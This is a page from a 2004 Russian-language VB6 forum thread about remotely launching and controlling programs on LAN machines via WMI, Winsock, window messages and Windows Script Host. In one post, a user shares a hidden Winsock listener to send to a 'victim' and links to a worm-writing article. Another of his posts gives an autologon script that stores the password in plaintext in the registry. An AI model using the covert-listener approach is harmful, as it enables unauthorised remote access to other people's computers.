Модераторы: Akina

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Запуск приложений на удаленном компьютере, Запуск приложений через ЛС на удаленном 
:(
    Опции темы
valex13
Дата 7.12.2004, 09:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



Я поставил отдельно на свою машину и машину, на которой хочу запустить приложение WMI.
После чего сделал вот такой код;
Код

Dim strComputer As String
Dim strRun As String
Dim intProcessID As Long
Dim obj_SWbemObject As SWbemObject

strComputer = "host1"
Set obj_SWbemObject = GetObject("winmgmts:" _
 & "{impersonationLevel=impersonate}!\\" _
 & strComputer & "\root\cimv2:Win32_Process") '


ErrNumb = obj_SWbemObject.Create(Text1.Text, Null, Null, intProcessID)
If ErrNumb > 0 Then
 MsgBox "Ошибка при выполнении операции!", vbCritical
End If


Пробовал strComputer ставить конкретный IP адрес.
Таже самая проблема что и у
amt
Обе машины Windows 98 SE. Может под этой ОС просто все это чудо враждебной техники не работает?

Это сообщение отредактировал(а) valex13 - 7.12.2004, 09:14
PM MAIL ICQ   Вверх
amt
Дата 7.12.2004, 15:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3




valex13 ,
а что ты поставил, я не понял?
Цитата
Я поставил отдельно на свою машину и машину, на которой хочу запустить приложение WMI.

И вообще, что никто по сети ничего не делает?
Неужели никто не сталкивался с этими проблемами?
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
amt
Дата 7.12.2004, 15:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Vach, хорошо, пусть это надо ставить.
Цитата
Run-Time Requirements

WMI is preinstalled in Windows Server 2003, Windows XP, Windows Me, and Windows 2000.

Windows NT Workstation 4.0 SP4 and later:  WMI is available through "Add/Remove Windows components" in Control Panel, as WBEM option install. A later, more comprehensive, version (WMI CORE 1.5 (Windows 95/98/NT 4.0)) is available as an Internet download from http://www.microsoft.com/downloads.
Windows 98 and Windows 95:  Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) is available as an Internet download from http://www.microsoft.com/downloads.

The Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) requires Microsoft Internet Explorer version 5 or later 2.
Но я уже на свой комп (и на удаленный - тоже) понаставил всякой фигни из microsoft.com (и скрипт, и обновления для VB и т.д.) и нихрена.
Где-то, что-то не то; а где - не понятно.
Добавлено @ 15:29
И вообще - если эта фигня заработает, можно будет круто напиться и месяц отдыхать!
Можно рассматривать как предложение.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 7.12.2004, 21:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



Я рад помочь, вот только в моей сети нету не одной вини кроме XP
Даже sp и обновления вне зависимости от пользователей ставятся централизованно.
Поэтому только XP.
Поговарю с админом нашей сети, может что подскажет.
Мы при помощи WMI+Scripts распространяем шаринги на все сетевые принтеры с учетом групповых политик.

Это сообщение отредактировал(а) Vach - 7.12.2004, 21:20
PM MAIL ICQ   Вверх
valex13
Дата 8.12.2004, 03:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



amt ты не один в своем желании добраться до истины. Как же все таки это устроено?
PM MAIL ICQ   Вверх
Gannibal
Дата 9.12.2004, 00:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



Ну вот возьмёмся тогда... вперёд.. короче написат надо так.. .вот ето будет клиентская часть просто которуыу зашлёш какому нибудь своей жертве потом незабудь есчё поставит на форме винсок компонент и енаблед на фалсе smile чтобы видно небыло ничего smile ето готово засылаем

Код

Private Sub Form_Load()
Do
   If ws.State <> sckConnected And ws.State <> sckListening Then
       ws.Close
       ws.Listen
   End If
   DoEvents
Loop
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub


тепр надо рабочую прогу которую можно открыть у нас и когда соиденно с клиентом незнаыу с тем компом заслать одним нажатием кнопки открытие програмы...

примерно так....
короче прочитаи здесь статю поимёш потом просто вместо мессагебокса или других команд внедриш туда просто запуск проги
http://www.vbmaster.info/vb/articles.php?id=60

а прогу открыть можно так сам занимался етим.. писал спамеры от скуки в школе smile :Д
тока код на ДжаваСкрипте выглядит так

Код

var wsh=WScript.CreateObject("WScript.Shell");
wsh.Run("cmd");
wsh.SendKeys("net send 127.0.0.1 mda ~");


а на ВизуалБэйсикСкрипт вот так

Код

var WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run("cmd")


надеюсь хоть как помог smile
если ето вообще к теме smile


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 9.12.2004, 01:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а лучше будет наверное книжку прочитать про ВиндовсСкриптХост, там описаны все функции как открывать файлы на компе за помощю скриптов smile
И в Визуале должна быть компонента для WSH тока поищите .. наидёте файлик wshom.ocx ето представитель скриптов (Windows Script Host)
Добавлено @ 01:14
и вот кстати нашёл специально для вас статю хотя самому пригодится smile о том как создать червя.. вот можете и програу запустить без проблем

http://ugas.fatal.ru/articles/virmaking-1.php

читайте и наслажаитесь, говорю что уже этим занимался от балды smile :Д


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
valex13
Дата 14.12.2004, 04:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



M.E.G.U.S Спасибо за ответ. Мысль мне понятна :-) Но мне хотелось бы управлять приложением (Серверная часть) в полном объеме, например, когда завершилась та или иная операция. Видимо придется СОМ сервер писать.
PM MAIL ICQ   Вверх
Gannibal
Дата 15.12.2004, 00:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



valex13 ну если взять так то необезательно тебе надо будет писать СОМ приложение, если ты знаешь уже какие части будешь перехватывать и знаеш как они работают напишеш прогу которая будет ето всё перехватыват.. всё что было сделано... и сам управлять впринципе.. .. может быть я тебя непонял...



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
valex13
Дата 17.12.2004, 09:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



Я хочу управлять приложением из другого приложения. Приложение, которое я хочу управлять, находиться на другом компьютере подключенном в локальную сеть.
Мне нужно давай разные указание этому приложению и проверять завершено ли оно!
PM MAIL ICQ   Вверх
Mephisto
Дата 23.12.2004, 16:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Волкъ
***


Профиль
Группа: Завсегдатай
Сообщений: 1818
Регистрация: 27.8.2003
Где: Питер

Репутация: 2
Всего: 34



Используй PostMessage или SendMessage. Зависит от необходимости получения ответа.
Вот выдержки из MSDN:

PostMessage Function
--------------------------------------------------------------------------------

The PostMessage function places (posts) a message in the message queue associated with the
thread that created the specified window and returns without waiting for the thread to process the message.

To post a message in the message queue associate with a thread, use the PostThreadMessage function.


Syntax

BOOL PostMessage( HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
Parameters

hWnd
[in] Handle to the window whose window procedure is to receive the message. The following values have special meanings.
HWND_BROADCAST
The message is posted to all top-level windows in the system, including disabled or invisible unowned windows,
overlapped windows, and pop-up windows. The message is not posted to child windows.
NULL
The function behaves like a call to PostThreadMessage with the dwThreadId parameter set to the identifier of the current thread.
Msg
[in] Specifies the message to be posted.
wParam
[in] Specifies additional message-specific information.
lParam
[in] Specifies additional message-specific information.
Return Value

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError

SendMessage Function

--------------------------------------------------------------------------------

The SendMessage function sends the specified message to a window or windows.
It calls the window procedure for the specified window and does not return until the window procedure has processed the message.

To send a message and return immediately, use the SendMessageCallback or SendNotifyMessage function.
To post a message to a thread's message queue and return immediately, use the PostMessage or PostThreadMessage function.


Syntax

LRESULT SendMessage( HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
Parameters

hWnd
[in] Handle to the window whose window procedure will receive the message.
If this parameter is HWND_BROADCAST, the message is sent to all top-level windows in the system,
including disabled or invisible unowned windows, overlapped windows, and pop-up windows;
but the message is not sent to child windows.
Msg
[in] Specifies the message to be sent.
wParam
[in] Specifies additional message-specific information.
lParam
[in] Specifies additional message-specific information.
Return Value

The return value specifies the result of the message processing; it depends on the message sent.


PM   Вверх
Gannibal
Дата 24.12.2004, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



вот кстати статью надыбал, похоже что это то что надо

Автор: Хованский Ян Дата: 09.05.2003

Введение

Иногда бывает нужно запустить или остановить «внешнее» приложение. О том, как это делается и пойдёт речь в данной статье.

Запуск

Существует несколько способов запуска приложения:

1. Можно использовать стандартную функцию Visual Basic - Shell:

Shell "C:\Program files\WinRar\WinRar.exe", vbNormalFocus '// Запускаем WinRar.exe, окно программы получит фокус и сохранит стандартные размеры
2. Также можно воспользоваться функциями API:

'// Функция для запуска приложения (выполнения командной строки)
Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long


'// lpCmdLine - командная строка
'// nCmdShow - соответсвующая константа

'// Константы
Const SW_SHOWNORMAL = 1 '// Исходные размеры и состояние. Фокус

Пример:

Код

WinExec "calc.exe", SW_SHOWNORMAL '// Запуск Калькулятора в нормальном состоянии


3. Способ, позволяющий открыть приложение ассоциированное с данным типом файлов:


'// Функция для открытия приложения
Declare Function ShellExecute& Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long)

Declare Function GetDesktopWindow Lib "user32" () As Long '// Функция для получения манипулятора рабочего стола

'// Константы
Const SW_SHOWNORMAL = 1

Пример:

Call ShellExecute(GetDesktopWindow, "Open", "C:\Text.txt", "", "c:\", SW_SHOWNORMAL)



В данном примере открывается файл C:\Text.txt.


Остановка выполнения

Для остановки выполнения приложения необходимо знать манипулятор его главного окна. Найти этот манипулятор вы можете по заголовку, по классу и т.д., способов достаточно много.

Предполагается, что манипулятор вы нашли. Далее, опять же есть несколько способов:

Visual Basic не предоставляет средств, позволяющих закрыть чужое приложение, поэтому воспользуемся API. Для начала используем функцию SendMessage:

Код

'// Функция, посылающая сообщения окну
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


'// Константы
Const WM_CLOSE = &H10



Пример:

Код

SendMessage hwnd, WM_CLOSE, 0, 0 '// hwnd - манипулятор окна


Кроме этого можно остановить приложение принудительно:

'// Функция получает идентификатор процесса, связанного с ним окна
Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long


'// Открывает манипулятор существующего процесса
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

'// Функция уничтожает процесс
Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long


'// Функция закрывает процесс
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

'// Константы
Const PROCESS_TERMINATE = &H1

'// Процедура закрытия приложения
Private Sub CloseProgram (hwnd As Long) '// hwnd - манипулятор окна
Dim pID As Long
Dim hProc As Long
GetWindowThreadProcessId hwnd, pID '// Получаем идентификатор процесса
hProc = OpenProcess(PROCESS_TERMINATE, False, pID) '// Открываем процесс
TerminateProcess hProc, 0 '// Уничтожаем процесс
CloseHandle hProc
End Sub


статья взята с сайта ВБкодерс.нет.ру читайте..

Это сообщение отредактировал(а) M.E.G.U.S - 24.12.2004, 12:33


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Mephisto
Дата 27.12.2004, 16:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Волкъ
***


Профиль
Группа: Завсегдатай
Сообщений: 1818
Регистрация: 27.8.2003
Где: Питер

Репутация: 2
Всего: 34



Цитата
Declare Function TerminateProcess Lib "kernel32"

Жестоко. В принципе WM_QUIT должно хватить.

Но в принципе я хотел бы разобратся со скриптами: можно ли запустить скрипт
от имени удаленного пользователя, явно указав логин и пароль?
Может чё здесь надо поправить?
Код

"{impersonationLevel=impersonate}!\\"

PM   Вверх
Gannibal
Дата 28.12.2004, 12:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



ну тебе есчё типо надо дописать что хочешь делать ;) типа такого

Код

{impersonationLevel=impersonate," & "(Shutdown)}



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 28.12.2004, 13:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а что так с помошу реестра сделать ведь там хранится инфа о пользователе и его пороль

Mephisto а можешь код показать? или у тебя его ещё нету.. вот код выбрасываю как автологин в систему зделать типо smile)

Код

Const AppName = "Windows NT/2K Autologon"
Const RegRoot = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"

Function ReadValue(ValueName)
On Error Resume Next
ReadValue = Shell.RegRead(RegRoot & ValueName)
On Error GoTo 0
End Function

Function WriteValue(ValueName, Value)
On Error Resume Next
ReadValue = Shell.RegWrite(RegRoot & ValueName, Value)
On Error GoTo 0
End Function

Sub AutologonIsOff
If MsgBox("Автоматический вход в систему выключен." & vbNewLine & vbNewLine & _
 "Вы хотите его включить?", _
 vbYesNo + vbQuestion, AppName) <> vbYes Then Exit Sub
 
Dim Account
Account = InputBox("Введите данные в форме 'ИМЯ_ДОМЕНА\ИМЯ ПОЛЬЗОВАТЕЛЯ' ." _
 & vbNewLine & vbNewLine & "Например: 'MICROSOFT\BILL_GATES'", _
 AppName, ReadValue("DefaultDomainName") & "\" & _
 ReadValue("DefaultUserName"))

If Len(Account) = 0 Then
 MsgBox "Account is not entered.", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If

Dim I
I = InStr(Account, "\")
If I = 0 Then I = InStr(Account, "/")
If I = 0 Then
 MsgBox "Отсутствует разделитель между именем пользователя и именем домена!", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If
Dim UserName, Domain
UserName = Mid(Account, I + 1)
Domain = Left(Account, I - 1)
If (Len(UserName) = 0) Or (Len(Domain) = 0) Then
 MsgBox "Отсутствует имя пользователя или имя домена!", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If

Dim Password
Password = InputBox("Введите пароль для " & Account & _
 " account", AppName, ReadValue("DefaultPassword"))

WriteValue "AutoAdminLogon", "1"
WriteValue "DefaultDomainName", Domain
WriteValue "DefaultUserName", UserName
WriteValue "DefaultPassword", Password

MsgBox "Автоматический вход в систему включён.", _
 vbOkOnly + vbInformation, AppName
End Sub

Sub AutologonIsOn
If MsgBox("Автоматический вход включен:" & vbNewLine & vbNewLine & _
 "Пользователь:"  & vbTab & _
 "'" & ReadValue("DefaultDomainName") & _
 "\" & ReadValue("DefaultUserName") & "'" & vbNewLine & _
 "Пароль:" & vbTab & vbTab & _
 "'" & ReadValue("DefaultPassword") & "'" & _
 vbNewLine & vbNewLine & _
 "Вы хотите его отменить?", _
 vbYesNo + vbQuestion, AppName) <> vbYes Then Exit Sub

WriteValue "AutoAdminLogon", "0"

MsgBox "Автоматический вход в систему отключен.", _
 vbOkOnly + vbInformation, AppName
End Sub

Dim Shell
Set Shell = WScript.CreateObject("WScript.Shell")

If ReadValue("AutoAdminLogon") = "1" Then
AutologonIsOn
Else
AutologonIsOff
End If
 
Set Shell = Nothing




Это сообщение отредактировал(а) M.E.G.U.S - 28.12.2004, 13:06


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Страницы: (3) Все 1 [2] 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "VB6"
Akina

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по VB обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • Используйте теги [code=vb][/code] для подсветки кода. Используйтe чекбокс "транслит" (возле кнопок кодов) если у Вас нет русских шрифтов.


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Akina.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | VB6 | Следующая тема »


 




[ Время генерации скрипта: 0.0595 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.